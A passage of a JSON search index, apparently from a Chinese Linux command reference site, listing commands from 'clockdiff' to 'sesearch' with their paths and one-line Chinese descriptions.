时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"